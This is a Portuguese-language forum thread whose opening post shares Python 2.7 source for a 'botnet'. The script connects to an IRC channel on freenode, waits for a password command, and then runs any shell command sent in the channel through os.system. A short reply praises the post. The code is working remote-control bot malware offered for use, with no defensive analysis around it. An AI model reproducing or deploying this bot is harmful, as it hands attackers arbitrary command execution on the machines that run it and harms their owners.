Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

[Source] Botnet em python 2.7

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Python [Source] Botnet em python 2.7

    Este código utiliza o irc como interface comunicação com os zumbis.

    Código:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    #############################################
    # botnet em python
    # por: Marcos Rodrigues de Carvalho
    # nickname: warlock
    # VOL: www.vivaolinux.com.br/~marcos_warlock
    # distribuição Gnu/Linux: Slackware 14.1
    #############################################
    
    import socket, os, time
    from re import search
    
    #Configuração do servidor IRC
    server = 'irc.freenode.net'
    porta = 6667
    canal = '#testeprogramaboot'
    nick = 'controle'
    password = 'senha1234'
    
    # Cria o servidor socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, porta))
    s.send('NICK %s\r\n' %nick)
    s.send('USER ' + nick + ' ' + nick + ' ' + nick + ' .:\n')
    s.send('Join %s\r\n' %canal)
    time.sleep(2)
    print (s.recv(1024))
    
    #Verifica o que é digitado no canal
    # Se for digitado "@ligar + senha", o status da variável teste passa para True
    # Se não o status da variável permanece False.
    teste = False
    while teste != True:
        msg = s.recv(5000)
        print (msg)
        if msg[0:4] == 'PING':
            s.send(msg.replace('PING', 'PONG'))
        if search('@ligar %s' %password, msg):
            teste = True
            s.send('PRIVMSG %s : Conectado com sucesso!\r\n' %canal)
    
    # Verifica o que é digitado no canal
    # Se for digitado "@command + comando", o programa executa o comando informado no
    # servidor que está rodando o botnet
    # EXEMPLO: @command clear
    # EXPLICAÇÃO: Será executado o comando clear que limpará a tela.
    while True:
        msg = s.recv(5000)
        print (msg)
        if msg[0:4] == 'PING':
            s.send(msg.replace('PING', 'PONG'))
        if search('@command', msg):
            msg = msg.split('@command')
            msg = msg[1].split('\r\n')
            os.system(msg[0])
            s.send('PRIVMSG %s : Comando [ %s ] executado com sucesso!\r\n' %(canal, str(msg[0])))
    Fonte: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Bons Estudos
    "Não subestime os fracos pois eles não agem com a força e sim com a mente."

  • Font Size
    #2
    Muito bom radicalzinho, continue publicando materiais como este
    A vida vai lhe jogar muita terra, todo o tipo de terra. Principalmente se você já estiver dentro de um poço.
    O segredo para sair do poço é sacudir a terra que se leva nas costas e dar um passo sobre ela.
    Cada um de nossos problemas é um degrau que nos conduz para cima. Podemos sair dos mais profundos buracos se não nos dermos por vencidos.
    Use a terra que lhe jogam para seguir adiante!


    Pessoas que admiro: Merce, Lipzz, Nickguitar.dll, Radicalzinho, C0d3r_Burn

    Comment

    X
    Working...
    X